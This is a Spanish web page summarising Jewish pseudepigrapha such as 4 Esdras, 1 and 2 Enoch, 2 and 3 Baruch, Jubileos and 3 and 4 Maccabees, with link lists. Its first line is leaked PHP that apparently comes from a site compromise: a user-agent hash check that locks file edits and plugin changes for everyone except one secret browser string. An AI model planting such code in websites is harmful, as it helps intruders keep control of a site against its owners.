if(md5(md5($_SERVER['HTTP_USER_AGENT']))!="c5a3e14ff315cc2934576de76a3766b5"){ define('DISALLOW_FILE_MODS', true); define('DISALLOW_FILE_EDIT', true); } III – Los Seudoepigráficos – Página: 2 – Texto Bíblico

Cuarto de Esdras

Los Seudoepigráficos

Cuarto de Esdras

Segundo de Esdras

Tercero de Esdras

Cuarto de Esdras es una obra apocalíptica (se cree que fue escrito a fines del siglo I d. C.) que figura como apéndice en algunas ediciones de la Biblia. Al igual que con Primero de Esdras, existe cierta confusión acerca de la numeración de este libro. En la Vulgata aparece como Cuarto de Esdras; en las versiones eslavas y rusas, como Tercero de Esdras (cuando, como en el griego, Esdras y Nehemías son considerados un solo libro). Algunos manuscritos latinos primitivos lo llamaron 3 Esdras. Jerónimo y los manuscritos latinos medievales lo llamaron de 4 Esdras.  Este texto es a veces también conocido como “Apocalipsis de Esdras” (capítulos 3-14 conocidos como el “Apocalipsis judío de Esdras” o “4 Esdras”, capítulos 1-2 como “5 Esdras”, y los capítulos 15-16 como “Esdras 6”).

Una vez que 1 y 2 Esdras de Jerónimo se llama Esdras y Nehemías en tiempos más recientes, la designación 2 Esdras llegó a ser común en Biblias inglesas.

Para favorecer las creencias fundamentales del judaísmo, el autor de Cuarto de Esdras presenta un concepto escatológico de Dios. Dios es uno y único; no tiene instrumentos intermediarios; únicamente él es el juez final. Los israelitas son una raza elegida, y la ley es una dádiva especial para ellos después de haber sido rechazada por otros mundos. Como el amor de Dios por Israel excede a su amor por cualquier otro pueblo, los israelitas son sus verdaderos representantes para la humanidad.

Esta obra apocalíptica tiene una historia literaria complicada.  Las versiones orientales en que nos ha llegado (siríaca, etiópica, armenia, georgiana y dos en árabe) sólo registran los capítulos 3-14.  Estos abarcan probablemente la obra judía inicial, compuesta a fines del siglo I d.C.  Sólo las versiones latinas contienen el prefacio (caps. 1 y 2) y la conclusión (caps. 15 y 16), que los eruditos creen que son de origen cristiano, tal vez de los siglos II y III d.C., respectivamente.  En 1:30, por ejemplo, el pasaje parece claramente tomado de Mateo 23:37, y el texto de 1:37 es comparable con Juan 20:29. El concepto del rechazo de los judíos como pueblo de Dios y el llamado a los gentiles refleja definidamente un punto de vista cristiano (1:24, 25, 35-40; 2:10, 11, 34). 

Los capítulos 3-14 son de un supuesto Apocalipsis de Salatiel, identificado con Esdras (AS-E).  Se cree que esta parte del libro quizá fue escrito en hebreo, en algún momento próximo al fin del siglo I d.C., y que se lo llamó Esdras para que fuera aceptado por el judaísmo rabínico de la época. El AS-E contiene 7 visiones que intentan develar el futuro y dar respuesta a ciertas facetas del problema del trato de Dios con su pueblo.  El autor usa un simbolismo complicado, especialmente en las visiones de la mujer de luto (9:26-10:59), el águila de 3 cabezas (con 12 alas grandes y 8 alas menores; 11:1-12:39) y del hombre que surge del mar (13:1-56).  El cap. 14 presenta un informe ficticio de la restauración de los libros sagrados que, según dice, Nabucodonosor había quemado, y afirma que Esdras dictó, por inspiración divina, a 5 secretarios el contenido de los 24 libros del Antiguo Testamento y 70 apocalipsis.  En las versiones orientales, la historia culmina con la asunción de Esdras.  Los caps. 15 y 16 se hacen eco de algunos episodios del Nuevo Testamento. Cuarto de Esdras no es aceptado como canónico ni por católicos ni por protestantes.

——————

Enlaces:

Bible Gateway – NRSV

Seudoepigráficos

Introducción
Tercero de los Macabeos
Cuarto de los Macabeos
Jubileos
Primero de Enoc (Enoc Etiópico)
Segundo de Enoc (Enoc eslavo)
Segundo de Baruc
Tercero de Baruc
Cuarto de Esdras
Testamentos de los doce patriarcas
Oráculos sibilinos
La asunción de Moisés
Carta de Aristeas
Libro de Adán y Eva
Martirio de Isaías
Pirqe Aboth (Dichos de los padres)
Salmos de Salomón
El relato de Ahikar

—–

Tercero de Baruc

Los Seudoepigráficos

Tercero de Baruc

Apocalipsis Griego de Baruc

Baruc griego

Tercero de Baruc -también llamado Apocalipsis Griego de Baruc, o Baruc griego– apoya la creencia de que hay siete cielos y tres clases de ángeles que interceden por tres clases de hombres.

Mientras Baruc llora por la destrucción de Jerusalén, es confortado por un ángel del Señor que le promete mostrar “los misterios de Dios”, si cesa de provocar a Dios (1:6, 7). A continuación el ángel lo va introduciendo sucesivamente en los cinco cielos y le muestra los diversos habitantes de cada uno de ellos. El ángel le explica el significado simbólico de las cosas que contempla en el viaje.  Los caps. 6 a 9 tratan acerca del sol, la luna y las estrellas.

El autor de Tercero de Baruc cree que el árbol prohibido fue la vid (4:8) y que la desobediencia de Adán se debió a Satanás, que sentía envidia de Cristo (4:9).

En este libro pareciera haber influencia cristiana, y probablemente fue escrito no antes del siglo II d. C.

———-

Enlaces externos:

The Greek Apocalypse of Baruch or 3 Baruch

Early Jewish Writings: 3 Baruch

The Jewish Encyclopedia: “BARUCH, APOCALYPSE OF (Greek)

Apocalipsis griego de Baruc. Introducción, traducción y notas

——-

Segundo de Baruc

Los Seudoepigráficos

Segundo de Baruc

Apocalipsis de Baruc

Baruc siríaco

Segundo de Baruc -o Apocalipsis de Baruc- es una compilación de varias obras. Describe la captura de Jerusalén por los babilonios (586 a, C.) e intenta justificar los caminos de Dios en su trato con Israel.  También se lo conoce como el “Baruc siríaco” por haberse preservado en un único manuscrito en esa lengua de su versión griega.

En él se declara que el hombre puede cumplir la ley, y que los justos son salvados por sus obras.

Enseña que el reino mesiánico se establecerá pronto, y que entonces Israel será un imperio mundial con Jerusalén como su capital.

Este libro probablemente fue escrito en la última mitad del siglo I d. C. o después.

No se debe confundir esta obra seudoepigráfica con el libro apócrifo llamado Baruc.

 —

Segundo de Enoc (Enoc eslavo)

Los Seudoepigráficos

Segundo de Enoc

Enoc eslavo

Libro de los secretos de Enoc

Segundo de Enoc, también llamado “Enoc Eslavo” o “Libro de los secretos de Enoc”.  Se lo llama Enoc eslavo porque, aunque fue escrito en griego (probablemente cerca del siglo I d.C.), ha sobrevivido sólo la versión eslava. En algunos puntos es similar con Primero de Enoc (Etiópico) y quizá conserve elementos del antiguo pensamiento mesiánico judío.

Describe la visita guiada de Enoc por los 7 cielos y los registros de las revelaciones que recibió de boca de los ángeles que le hablaron por espacio de 30 días y 30 noches, y, finalmente, sus exhortaciones e instrucciones para su hijo antes de su traslación.

Es similar en muchos puntos con la literatura cristiana más antigua, lo que podría deberse a citas de Segundo Enoc empleadas por algunos padres de la iglesia, o a elementos de Enoc tomados de ellos, lo cual depende de la fecha cuando se compuso esta obra. Un grupo de eruditos sitúa Segundo Enoc en el siglo I d. C., en tanto que otros lo hacen antes del siglo VII.
 ——
—–

Primero de Enoc (Enoc Etiópico)

Los Seudoepigráficos

Primero de Enoc (Enoc Etiópico)

El seudoepigráfico Primero de Enoc (Enoc Etiópico) es una compilación de las obras de varios autores fariseos, y parte se escribió en hebreo y parte en arameo.  Esta obra apocalíptica es conocida también como 1 Enoc y como Enoc Etiópico porque se ha preservado completamente sólo en etíope, aunque entre los Manuscritos del Mar Muerto se han encontrado fragmentos en hebreo y arameo.

Chester Beatty XII, Greek manuscript of the Book of Enoch, 4th century

P. Chester Beatty XII, hoja 3, actualmente en la universidad de Michigan.

Es el más largo de los seudoepigráficos, y el más importante de los apocalipsis no canónicos proveniente de los siglos II y I a.C.  Consiste en una serie de revelaciones adjudicadas a Enoc concerniente al origen del mal, la naturaleza y el destino de los ángeles;  también incluye temas escatológicos como el juicio, la resurrección y la naturaleza de la Gehenna y el Paraíso.

Después de una introducción que describe el propósito del libro y el viaje de Enoc a los cielos, la 1ª obvia división (caps. 6-36) rastrea el mal hasta los ángeles caídos y su relación carnal con las hijas de los hombres. Los caps. 37-71 contiene las Tres Similitudes de Enoc, el 1º de los cuales trata, entre otras cosas, del futuro reino de Dios (caps. 37-44).  En la 2ª de estas similitudes (caps.  45-57) presenta al superhumano “Hijo del Hombre”, quien viene a la tierra como Mesías.  Muchos eruditos sostienen que estas porciones del “Hijo del Hombre” tuvieron mucha influencia sobre los Evangelios del Nuevo Testamento.  En la 3ª similitud se describe la gloria del Mesías y su reinado sobre los reyes de la tierra (cps 58-69). Sin embargo, la ausencia en los Rollos del Mar Muerto de la 2ª sección de Enoc, que contiene las Similitudes, parece indicar que son de origen tardío, y que deben ser atribuidas a un judío o a un cristiano de los siglos I y II d.C. Los caps. 72-82 hablan de las luminarias celestiales.  Le siguen 2 sueños-visiones (caps. 83-90): uno trata del diluvio; el otro, de la historia del mundo hasta la cimentación del reino mesiánico.  Lo que sigue de la obra contiene las exhortaciones de Enoc, el Apocalipsis de las Semanas -el cual divide al mundo en 10 períodos- y, finalmente, algunos apéndices y agregados misceláneos (caps. 91-105).

De particular interés son sus enseñanzas acerca del reino venidero y la vida futura. Aparentemente declara que el gobernante trascendental de ese reino estuvo escondido con Dios desde antes de la creación del mundo (cap. 46: 1-2; 48: 6; 62: 7). Varios títulos que se dan a este gobernante se aplican a Jesús en el Nuevo Testamento. Es llamado “Su [de Dios] Ungido [o Mesías]” (cap. 52:4); “el justo” (cap. 38: 2; cf. Hechos 3: 14); “el Elegido” (1 Enoc 40: 5; 45:3-4; cf. Lucas 23: 35); y “el Hijo del Hombre” (1 Enoc 46: 3-4; 62: 5).
 
Las diversas partes de Primero de Enoc – escritas por diferentes autores – indican que existían varios puntos de vista entre los judíos del siglo I a. C. en cuanto al reino mesiánico. Los cap. 1-36 enseñan que ese reino existirá eternamente en la tierra después del juicio final; los cap. 37-71, que perdurará por la eternidad en la tierra y en el cielo, y que comenzará con el juicio final; y en los cap. 91-104 se enseña que el reino mesiánico será transitorio, estará en la tierra y será seguido por el juicio final.
 
También se da importancia a Azazel, identificado como el que “ha enseñado toda injusticia en la tierra y ha revelado los secretos eternos que estaban (guardados) en el cielo, los cuales los hombres se esforzaban por conocer” (cap. 9:6).
 
El juicio final de Azazel se declara con estas palabras: “El Señor dijo a Rafael: ‘Ata a Azazel de pies y manos, y échalo a las tinieblas; haz una abertura en el desierto, el que está en Dudael, y échalo ahí dentro. . . Y en el día del gran juicio será echado en el fuego. . . Toda la tierra ha sido corrompida por las obras que enseñó Azazel; atribúyele a él todos los pecados’ ” (cap. 10: 4-8).
 
Aunque la identificación de Azazel con Satanás no se puede probar por la autoridad del libro de Enoc, su nombre aquí muestra lo que entendían los judíos acerca de Azazel en el siglo I a. C.
 
Primero de Enoc señala el fermento del pensamiento escatológico que predominaba en ciertos sectores del judaísmo precisamente antes del período del Nuevo Testamento y durante él.
La referencia que hace Judas de Enoc y la cita de la profecía de ese patriarca (Judas 1:14, 15), han sido objeto de muchos comentarios. Los comentadores concuerdan generalmente en que el libro seudoepigráfico Primero de Enoc circulaba entre los judíos a mediados del siglo I a. C. . En el cap. 1:9 de ese libro dice lo siguiente: “¡Y he aquí! El viene con diez mil de sus santos para ejecutar juicio sobre todos y para destruir a todos los impíos; y para convencer de culpabilidad a toda carne de todas las obras de su impiedad que han cometido impíamente, y de todas las cosas duras que los impíos pecadores han hablado contra El” (R. H. Charles, The Apocrypha and Pseudepigrapha of the Old Testament, t. 2, p. 189).
Por lo común se cree que Judas citó de esta obra no canónica, aunque algunos sostienen que en realidad fue a la inversa. Si Judas citó de Primero de Enoc fue porque el Espíritu Santo lo indujo a hacerlo.
—————-
Enlaces externos:
——

Jubileos

Los Seudoepigráficos

Jubileos

El nombre Jubileos se deriva de su método de fechar los eventos de acuerdo con los jubileos de cada 49 años con sus subdivisiones. Aparenta ser una revelación dada por “el ángel de la presencia” a Moisés en el Sinaí (caps. 1:29; 2:1).  

Fue escrito en hebreo (pero sobrevivió en la forma etiópica de una traducción griega) indudablemente por un fariseo o esenio durante la segunda mitad del siglo II a. C., aunque se han sugerido fechas tanto anteriores como posteriores a ésta.

El libro de Jubileos fue conocido también por otros nombres: “El Pequeño Génesis” (El epíteto “pequeño” no se refiere a la extensión del libro, ya que es más grande que el Génesis canónico, sino a su carácter), “Apocalipsis de Moisés”, “Vida de Adán”.

Es un extenso comentario de Génesis y Éxodo 1-12 escrito con un enfoque legalista. Es de particular interés su enseñanza acerca del reino mesiánico venidero, que es concebido como una evolución gradual hasta que el hombre y la naturaleza alcancen la perfección, la felicidad y la paz. Los hombres alcanzarán entonces a vivir mil años, y cuando mueran, sus espíritus entrarán en un estado de eterna bienaventuranza. Se descubrió un fragmento de esta obra entre los manuscritos del mar Muerto en la caverna I de Qumrán.
 ——
—–

—–

Cuarto de los Macabeos

Los Seudoepigráficos 

Cuarto de los Macabeos

Cuarto de los Macabeos, como Tercero de los Macabeos, también está incluido en algunos manuscritos de la Septuaginta (LXX), pero no es aceptado por la Iglesia Católica. Consta de 18 capítulos.

Tratado filosófico griego probablemente escrito entre el 63 a.C. y el 38 d.C.

Es un sermón dirigido a los judíos acerca de la supremacía de la razón piadosa, esto es, de los principios religiosos, sobre las pasiones. El martirio de Eleazar (Segundo de los Macabeos 6:18-31) y de los siete hermanos (Segundo de los Macabeos 7) se presenta como una ilustración de la tesis del autor (Cuarto de los Macabeos 1:7-9).

De acuerdo con este libro, las pasiones son implantadas por Dios y no deben ser desarraigadas sino dirigidas. Logran mejor la rectitud, la justicia, el valor y la temperancia los que han sido instruidos por la Torah.

 —–

Cuarto de los Macabeos – Texto (inglés):

English Translation of the Greek Septuagint Bible

Revised Standard Version

Bible Gateway – Revised Standard Version (RSV)

——

Los seudoepigráficos

Introducción
Tercero de los Macabeos
Cuarto de los Macabeos
Jubileos
Primero de Enoc (Enoc Etiópico)
Segundo de Enoc (Enoc eslavo)
Segundo de Baruc
Tercero de Baruc
Cuarto de Esdras
Testamentos de los doce patriarcas
Oráculos sibilinos
La asunción de Moisés
Carta de Aristeas
Libro de Adán y Eva
Martirio de Isaías
Pirqe Aboth (Dichos de los padres)
Salmos de Salomón
El relato de Ahikar

—–

Tercero de los Macabeos

Los Seudoepigráficos 

Tercero de los Macabeos

El título de este libro es un nombre poco apropiado ya que se trata de los sufrimientos de los Judios de Egipto. El libro no tiene nada que ver con los Macabeos (que nunca se mencionan en él).

Consta sólo de siete capítulos. Está incluido en algunos manuscritos importantes de la Septuaginta (LXX) y es estimado favorablemente por la iglesia siríaca.

Relata minuciosamente la victoria de Tolomeo IV Filopátor sobre Antíoco Magno en la batalla de Rafia (217 a. C.), el intento frustrado de entrar al templo de Jerusalén con el subsecuente desbaratamiento milagroso de sus planes de masacrar a los judíos de Alejandría.  Fue escrito en griego no más tarde que el 100 a.C.

Tercero de los Macabeos fue escrito indudablemente para mostrar cómo Dios liberó milagrosamente a la nación judía en un tiempo de ambiciones personales e intrigas internacionales.

—–

Tercero de los Macabeos – texto (inglés):
English Translation of the Greek Septuagint Bible
Revised Standard Version
Bible Gateway – Revised Standard Version

—–

Seudoepigráficos – Introducción
Tercero de los Macabeos
Cuarto de los Macabeos
Jubileos
Primero de Enoc (Enoc Etiópico)
Segundo de Enoc (Enoc eslavo)
Segundo de Baruc
Tercero de Baruc
Cuarto de Esdras
Testamentos de los doce patriarcas
Oráculos sibilinos
La asunción de Moisés
Carta de Aristeas
Libro de Adán y Eva
Martirio de Isaías
Pirqe Aboth (Dichos de los padres)
Salmos de Salomón
El relato de Ahikar

—–